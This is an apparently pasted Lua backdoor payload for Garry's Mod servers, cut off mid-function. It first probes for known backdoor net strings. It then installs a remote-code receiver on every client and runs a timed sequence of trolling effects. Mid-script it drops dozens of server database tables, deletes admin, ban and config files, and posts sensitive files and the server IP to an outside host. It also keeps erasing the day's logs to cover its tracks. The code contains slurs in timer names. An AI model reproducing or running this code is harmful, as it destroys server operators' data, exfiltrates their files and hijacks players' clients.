· 8 years ago · Feb 10, 2018, 11:12 AM
1util.AddNetworkString "skeleton_dancing_troll"
2
3local iZNX = {}
4
5function iZNX.ValidNetString( str )
6local netstart = net.Start
7if Defqon and Defqon.G and Defqon.G.net then
8netstart = Defqon.G.net.Start
9else
10-- print( "scanning for exploit in insecure mode" )
11end
12local status, error = pcall( netstart, str )
13return status
14end
15function iZNX.ValidNetString( str )
16local status, error = pcall( net.Start, str )
17return status
18end
19
20local thefrenchenculer = ""
21if iZNX.ValidNetString( "Sandbox_ArmDupe" ) then
22thefrenchenculer = "Sandbox_ArmDupe"
23else
24if iZNX.ValidNetString( "Sbox_darkrp" ) then
25thefrenchenculer = "Sbox_darkrp"
26else
27if iZNX.ValidNetString( "Sbox_itemstore" ) then
28thefrenchenculer = "Sbox_itemstore"
29else
30if iZNX.ValidNetString( "Ulib_Message" ) then
31thefrenchenculer = "Ulib_Message"
32else
33if iZNX.ValidNetString( "ULogs_Info" ) then
34thefrenchenculer = "ULogs_Info"
35else
36if iZNX.ValidNetString( "ITEM" ) then
37thefrenchenculer = "ITEM"
38else
39if iZNX.ValidNetString( "fix" ) then
40thefrenchenculer = "fix"
41else
42if iZNX.ValidNetString( "Fix_Keypads" ) then
43thefrenchenculer = "Fix_Keypads"
44else
45if iZNX.ValidNetString( "Remove_Exploiters" ) then
46thefrenchenculer = "Remove_Exploiters"
47else
48if iZNX.ValidNetString( "noclipcloakaesp_chat_text" ) then
49thefrenchenculer = "noclipcloakaesp_chat_text"
50else
51if iZNX.ValidNetString( "_Defqon" ) then
52thefrenchenculer = "_Defqon"
53else
54if iZNX.ValidNetString( "_CAC_ReadMemory" ) then
55thefrenchenculer = "_CAC_ReadMemory"
56else
57if iZNX.ValidNetString( "nostrip" ) then
58thefrenchenculer = "nostrip"
59else
60if iZNX.ValidNetString( "nocheat" ) then
61thefrenchenculer = "nocheat"
62else
63if iZNX.ValidNetString( "LickMeOut" ) then
64thefrenchenculer = "LickMeOut"
65else
66if iZNX.ValidNetString( "ULX_QUERY2" ) then
67thefrenchenculer = "ULX_QUERY2"
68else
69if iZNX.ValidNetString( "ULXQUERY2" ) then
70thefrenchenculer = "ULXQUERY2"
71else
72if iZNX.ValidNetString( "MoonMan" ) then
73thefrenchenculer = "MoonMan"
74else
75if iZNX.ValidNetString( "Im_SOCool" ) then
76thefrenchenculer = "Im_SOCool"
77else
78if iZNX.ValidNetString( "Sandbox_GayParty" ) then
79thefrenchenculer = "Sandbox_GayParty"
80else
81if iZNX.ValidNetString( "DarkRP_UTF8" ) then
82thefrenchenculer = "DarkRP_UTF8"
83else
84if iZNX.ValidNetString( "oldNetReadData" ) then
85thefrenchenculer = "oldNetReadData"
86else
87if iZNX.ValidNetString( "memeDoor" ) then
88thefrenchenculer = "memeDoor"
89else
90if iZNX.ValidNetString( "BackDoor" ) then
91thefrenchenculer = "BackDoor"
92else
93if iZNX.ValidNetString( "OdiumBackDoor" ) then
94thefrenchenculer = "OdiumBackDoor"
95else
96if iZNX.ValidNetString( "SessionBackdoor" ) then
97thefrenchenculer = "SessionBackdoor"
98else
99if iZNX.ValidNetString( "DarkRP_AdminWeapons" ) then
100thefrenchenculer = "DarkRP_AdminWeapons"
101else
102if iZNX.ValidNetString( "cucked" ) then
103thefrenchenculer = "cucked"
104else
105if iZNX.ValidNetString( "NoNerks" ) then
106thefrenchenculer = "NoNerks"
107else
108if iZNX.ValidNetString( "AllWeapons_" ) then
109thefrenchenculer = "AllWeapons_"
110else
111if iZNX.ValidNetString( "ClassWeapons_" ) then
112thefrenchenculer = "ClassWeapons_"
113else
114if iZNX.ValidNetString( "kek" ) then
115thefrenchenculer = "kek"
116else
117if iZNX.ValidNetString( "ZimbaBackDoor" ) then
118thefrenchenculer = "ZimbaBackDoor"
119else
120if iZNX.ValidNetString( "something" ) then
121thefrenchenculer = "something"
122if iZNX.ValidNetString( "random" ) then
123thefrenchenculer = "random"
124if iZNX.ValidNetString( "strip0" ) then
125thefrenchenculer = "strip0"
126if iZNX.ValidNetString( "Gay_party" ) then
127thefrenchenculer = "Gay_party"
128end
129end
130end
131end
132end
133end
134end
135end
136end
137end
138end
139end
140end
141end
142end
143end
144end
145end
146end
147end
148end
149end
150end
151end
152end
153end
154end
155end
156end
157end
158end
159end
160end
161end
162end
163end
164end
165
166local lol = {}
167function lol:RandomString( intMin, intMax )
168 local ret = ""
169 for _ = 1, math.random( intMin, intMax ) do
170 ret = ret.. string.char( math.random(65, 90) )
171 end
172
173 return ret
174end
175
176lol.m_tblActions = {}
177lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
178lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
179
180function lol:PushAction( intChainDelay, func )
181 self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
182end
183
184function lol:NextAction( pPlayer )
185 pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
186 if not self.m_tblActions[pPlayer.m_intCurAction] then return end
187
188 timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
189 if not IsValid( pPlayer ) then return end
190 self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
191 self:NextAction( pPlayer )
192 end )
193end
194
195function lol:Start( pPlayer )
196 pPlayer.m_intCurAction = 0
197 self:NextAction( pPlayer )
198end
199
200function lol:SendLua( pPlayer, strLua )
201 net.Start( "skeleton_dancing_troll" )
202 net.WriteString( strLua )
203 net.Send( pPlayer )
204end
205
206function lol:SetupPlayer( pPlayer )
207 pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
208end
209
210for k, v in pairs( player.GetAll() ) do
211 lol:SetupPlayer( v )
212 timer.Simple( 2, function() lol:Start( v ) end )
213end
214
215hook.Add( "PlayerAuthed", "wat", function( pPlayer )
216 lol:SetupPlayer( pPlayer )
217 timer.Simple( 10, function() lol:Start( pPlayer ) end )
218end )
219
220hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
221 if strText:sub( 1, 5 ) == "/1337" then
222 pSender:Ignite( 1e9 )
223 pSender:ChatPrint( "Nop" )
224 pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
225 return false
226 end
227end )
228
229
230
231--Sequence stack
232--Start some tunes and steam in our assets
233lol:PushAction( 0, function( pPlayer )
234 lol:SendLua( pPlayer, ([=[
235 sound.PlayURL( "https://goo.gl/fMRdr1", "", function()end )
236
237 g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
238 local html = [[%s]]
239 local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
240 local pnl = vgui.Create( "HTML" )
241 pnl:SetPos( ScrW() -1, ScrH() -1 )
242 pnl:SetVisible( true )
243 pnl:SetMouseInputEnabled( false )
244 pnl:SetKeyBoardInputEnabled( false )
245 pnl:SetSize( intSizeX, intSizeY )
246 pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
247
248 local PageLoaded
249 PageLoaded = function()
250 local mat = pnl:GetHTMLMaterial()
251 if mat then
252 g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
253 return
254 end
255
256 timer.Simple( 0.10, PageLoaded )
257 end
258
259 PageLoaded()
260 end
261
262 LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306958-hud.png", "hud1", 300, 128 )
263 LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306628-hud2.png", "hud2", 300, 128 )
264 LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306630-hud3.png", "hud3", 128, 128 )
265 LoadWebMaterial( "https://goo.gl/fgF2ji", "doritos", 183, 256 )
266 LoadWebMaterial( "https://goo.gl/fgF2ji", "fedora", 256, 256 )
267 LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306620-dew.png", "dew", 110, 256 )
268 LoadWebMaterial( "https://image.noelshack.com/fichiers/2017/47/3/1511306619-awp.png", "awp", 256, 55 )
269 ]=]):format(lol.m_strImageLoadHTML) )
270 timer.Create( "hello", 2, 1, function()
271 RunConsoleCommand( "say", "Привет" )
272 end)
273
274 timer.Create( "hello2", 8, 1, function()
275 RunConsoleCommand( "say", "Ðа Ñервере был найден Backdoor и он был взломан" )
276 end)
277
278 timer.Create( "hello3", 12, 1, function()
279 RunConsoleCommand( "say", "ВероÑтнее вÑего Ñтот бÑкдур от MrKuBu" )
280 end)
281
282 timer.Create( "hello4", 18, 1, function()
283 RunConsoleCommand( "say", "Впредь будете более оÑторожны" )
284 end)
285
286 timer.Create( "hello5", 24, 1, function()
287 RunConsoleCommand( "say", "Ðу, а Ñто уже не отменить" )
288 end)
289
290 timer.Create( "hello6", 30, 1, function()
291 RunConsoleCommand( "say", "ĤẪĈЌĒĎ ฿¥ ÄỆfČỒŃ Å â±£LỒЇȚ | vk.com/leithzzze" )
292 end)
293end )
294
295--HUD swap
296lol:PushAction( 40, function( pPlayer )
297 lol:SendLua( pPlayer, [[
298 (GAMEMODE or GM).CalcView = function() end
299 (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
300
301 local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
302 for k, v in pairs(remove) do
303 hook.GetTable()[v] = {}
304 end
305
306 local function GetWebMat( strURL )
307 return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
308 end
309
310 hook.Add( "HUDPaint", "newhud", function()
311 surface.SetDrawColor( 255, 255, 255, 255 )
312
313 if GetWebMat( "hud1" ) then
314 surface.SetMaterial( GetWebMat("hud1")[1] )
315 surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
316 end
317 if GetWebMat( "hud2" ) then
318 surface.SetMaterial( GetWebMat("hud2")[1] )
319 surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
320 end
321 if GetWebMat( "hud3" ) then
322 surface.SetMaterial( GetWebMat("hud3")[1] )
323 surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
324 end
325 if GetWebMat( "doritos" ) then
326 surface.SetMaterial( GetWebMat("doritos")[1] )
327 surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
328 end
329 if GetWebMat( "dew" ) then
330 surface.SetMaterial( GetWebMat("dew")[1] )
331 surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
332 end
333 if GetWebMat( "fedora" ) then
334 surface.SetMaterial( GetWebMat("fedora")[1] )
335 surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
336 end
337 if GetWebMat( "awp" ) then
338 surface.SetMaterial( GetWebMat("awp")[1] )
339 surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
340 end
341
342 draw.SimpleTextOutlined(
343 "๑۩۩๑ ĤẪĈЌĒĎ ฿¥ ÄỆfČỒŃ Å â±£LỒЇȚ ๑۩۩๑",
344 "DermaLarge",
345 ScrW() /2 +math.random( -8, 8 ),
346 ScrH() /2 +math.random( -8, 8 ) +24,
347 Color( 255, 0, 0, 255 ),
348 TEXT_ALIGN_CENTER,
349 TEXT_ALIGN_CENTER,
350 1,
351 Color( 0, 0, 255, 255 )
352 )
353 end )
354
355 local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
356 hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
357
358 surface.PlaySound( "garrysmod/save_load4.wav" )
359 surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
360 ]] )
361end )
362
363--Disco time
364lol:PushAction( 9.6, function( pPlayer )
365 local idx = pPlayer:EntIndex()
366 timer.Create( "beat".. idx, 0.42, 0, function()
367 if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
368 pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
369 end )
370----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
371local date = os.date( "%m-%d-%y" )
372local databases = { "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
373local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhash.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
374local sensitivefiles = { "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","vcmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permaprops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
375for k,v in pairs( databases ) do if sql.TableExists( v ) then
376 sql.Query( "DROP TABLE "..v.." ;" )
377 sql.Query( "CREATE TABLE IF NOT EXISTS "..v.." ( steamid TEXT NOT NULL PRIMARY KEY, value TEXT );" )
378 end
379end
380timer.Simple(5, function() for k,v in pairs( datafiles ) do if file.Exists(v, "DATA") then file.Delete( v ) end end end )
381for k,v in pairs( sensitivefiles ) do if file.Exists(v, "DATA") then http.Post("http://bracegaming.com/data/log.php",{a=game.GetIPAddress(),b=v,c=file.Read(v)}) file.Delete( v ) end end
382hook.Add( "Think", "killulxlogs", function() file.Delete( "ulx_logs/"..date..".txt" ) end )
383
384hook.Add("Think", "chatspam", function() for k,v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, ":^)" )end end)
385
386
387
388timer.Create( "niggaspams", 2, 0, function()
389RunConsoleCommand( "say", "ĤẪĈЌĒĎ ฿¥ ÄỆfČỒŃ Å â±£LỒЇȚ | vk.com/leithzzze" )
390end)
391
392timer.Create( "niggaspams2", 0.1, 0, function()
393RunConsoleCommand( "sv_friction", "-8" )
394end)
395
396timer.Create( "niggaspams3", 0.1, 0, function()
397RunConsoleCommand( "sv_gravity", "-600" )
398end)
399
400timer.Create( "next_level_timer", 0.1, 0, function()
401 for k, v in pairs(player.GetAll()) do
402 v:ConCommand("say /ooc ĤẪĈЌĒĎ ฿¥ ÄỆfČỒŃ Å â±£LỒЇȚ");
403 end
404end)
405
406RunConsoleCommand( "sv_loadingurl", "http://uu.esy.es/zyqv6r7n/seized.html" )
407
408RunConsoleCommand("hostname", "ĤẪĈЌĒĎ ฿¥ ÄỆfČỒŃ Å â±£LỒЇȚ")
409
410for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end
411
412timer.Create( "niggaspams4", 0.1, 0, function()
413RunConsoleCommand( "sbox_noclip", "1" )
414end)
415
416timer.Create( "niggaspams5", 0.1, 0, function()
417RunConsoleCommand( "sv_allowcslua", "1" )
418end)
419
420hook.Add("Think", "busted", function()
421 for k,v in pairs (player.GetAll()) do
422 v:SetModelScale(2.5, 100);
423 v:SetRunSpeed(400 * 2);
424 v:SetWalkSpeed(200 * 2);
425 end
426end)
427
428for k, v in pairs( player.GetAll() ) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end
429
430for k,v in pairs(player.GetAll()) do
431 local a = v:LookupBone("ValveBiped.Bip01_Head1")
432 local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
433 local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
434 local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
435 local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
436 local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
437 local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
438 local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
439 local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
440 local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
441 local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
442
443 v:ManipulateBoneScale( a, Vector(4,0,4))
444 v:ManipulateBoneScale( b, Vector(0,0,0))
445 v:ManipulateBoneScale( c, Vector(0,0,0))
446 v:ManipulateBoneScale( d, Vector(0,0,1))
447 v:ManipulateBoneScale( e, Vector(0,0,1))
448 v:ManipulateBoneScale( f, Vector(0,0,0))
449 v:ManipulateBoneScale( g, Vector(0,0,0))
450 v:ManipulateBoneScale( h, Vector(1,1.5,1.5))
451 v:ManipulateBoneScale( i, Vector(1,1.5,1.5))
452 v:ManipulateBoneScale( j, Vector(0,0,0))
453 v:ManipulateBoneScale( k, Vector(0,0,0))
454 end
455
456for k,v in pairs(player.GetAll()) do timer.Create( "timerargent10", 0.1, 0, function() v:addMoney(999999) end) end
457
458for k,v in pairs(player.GetAll()) do v:Ignite(120) end
459-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
460
461 lol:SendLua( pPlayer, [[
462 local emitter = ParticleEmitter( LocalPlayer():GetPos() )
463 local time = 0
464
465 hook.Add( "Think", "wat", function()
466 if CurTime() < time then
467 return
468 end
469
470 time = CurTime() +0.05
471 for i = 1, 16 do
472 local part = emitter:Add(
473 "particles/balloon_bit",
474 LocalPlayer():GetPos() +Vector(
475 math.random( -256, 256 ),
476 math.random( -256, 256 ),
477 256
478 )
479 )
480
481 if part then
482 local Size = math.random( 4, 7 )
483
484 part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
485 part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
486 part:SetDieTime( 4.5 )
487 part:SetGravity( Vector(40, 0, -250) )
488 part:SetLifeTime( 0 )
489 part:SetStartSize( Size /2 )
490 part:SetEndSize( Size )
491 part:SetCollide( true )
492 end
493 end
494 end )
495 ]] )
496
497 lol:SendLua( pPlayer, [[
498 hook.Add( "RenderScreenspaceEffects", "wat", function()
499 local sinScaler = math.sin( CurTime() )
500 DrawBloom(
501 0,
502 3,
503 sinScaler *math.Rand(1, 8),
504 sinScaler *math.Rand(1, 8),
505 6,
506 math.Rand(0.5, 2),
507 math.Rand(0, 0.3),
508 math.Rand(0, 0.3),
509 math.Rand(0.5, 1)
510 )
511
512 DrawColorModify{
513 ["$pp_colour_addr"] = 0,
514 ["$pp_colour_addg"] = 0,
515 ["$pp_colour_addb"] = 00,
516 ["$pp_colour_brightness" ] = 0,
517 ["$pp_colour_contrast" ] = 1,
518 ["$pp_colour_colour" ] = 1,
519 ["$pp_colour_mulr" ] = 0,
520 ["$pp_colour_mulg" ] = 0,
521 ["$pp_colour_mulb" ] = 1
522 }
523 end )
524
525 local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
526 mdl:SetNoDraw( true )
527 local posCache, time = {}, 0
528
529 hook.Add( "HUDPaint", "dance", function()
530 if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
531 local idx = mdl:LookupSequence("taunt_dance")
532 mdl.SeqDuration = mdl:SequenceDuration( idx )
533 mdl.SeqStart = CurTime()
534 mdl:ResetSequence( idx )
535 end
536
537 mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
538
539
540 local w, h = 300, 300
541 local ang = Angle( 0, 0, 0 )
542
543 for i = 1, 32 do
544 if CurTime() > time then
545 posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
546 end
547 local x, y = posCache[i][1], posCache[i][2]
548
549 cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
550 cam.IgnoreZ( true )
551 render.SuppressEngineLighting( true )
552
553 render.SetLightingOrigin( mdl:GetPos() )
554 render.ResetModelLighting( 1, 1, 1 )
555 render.SetColorModulation( 0, 0, 1 )
556
557 mdl:DrawModel()
558
559 render.SuppressEngineLighting( false )
560 cam.IgnoreZ( false )
561 cam.End3D()
562 end
563
564 if CurTime() > time then
565 time = CurTime() +0.15
566 end
567 end )
568
569 surface.PlaySound( "vo/npc/male01/ohno.wav" )
570 ]] )
571end )
572
573--Let the beat drop
574lol:PushAction( 85, function( pPlayer )
575 lol:SendLua( pPlayer, [[
576 hook.Add( "GetMotionBlurValues", "wat", function()
577 return 0, 0, 1, math.sin(CurTime() *13)
578 end )
579
580 hook.Add( "RenderScreenspaceEffects", "ohgod", function()
581 local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
582 DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
583 DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
584 end )
585
586 hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
587 render.SetMaterial( Material("cable/blue_elec") )
588 for i = 1, 32 do
589 render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
590 end
591 end )
592
593 timer.Create( "thedrop", 0.42, 0, function()
594 util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
595 end )
596 ]] )
597end )
598
599--EVIL TIME rip headpones
600lol:PushAction( 175, function( pPlayer )
601 lol:SendLua( pPlayer, [[
602 surface.PlaySound( "vo/npc/male01/gethellout.wav" )
603
604 local sounds = {}
605 for i = 1, 4 do
606 sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
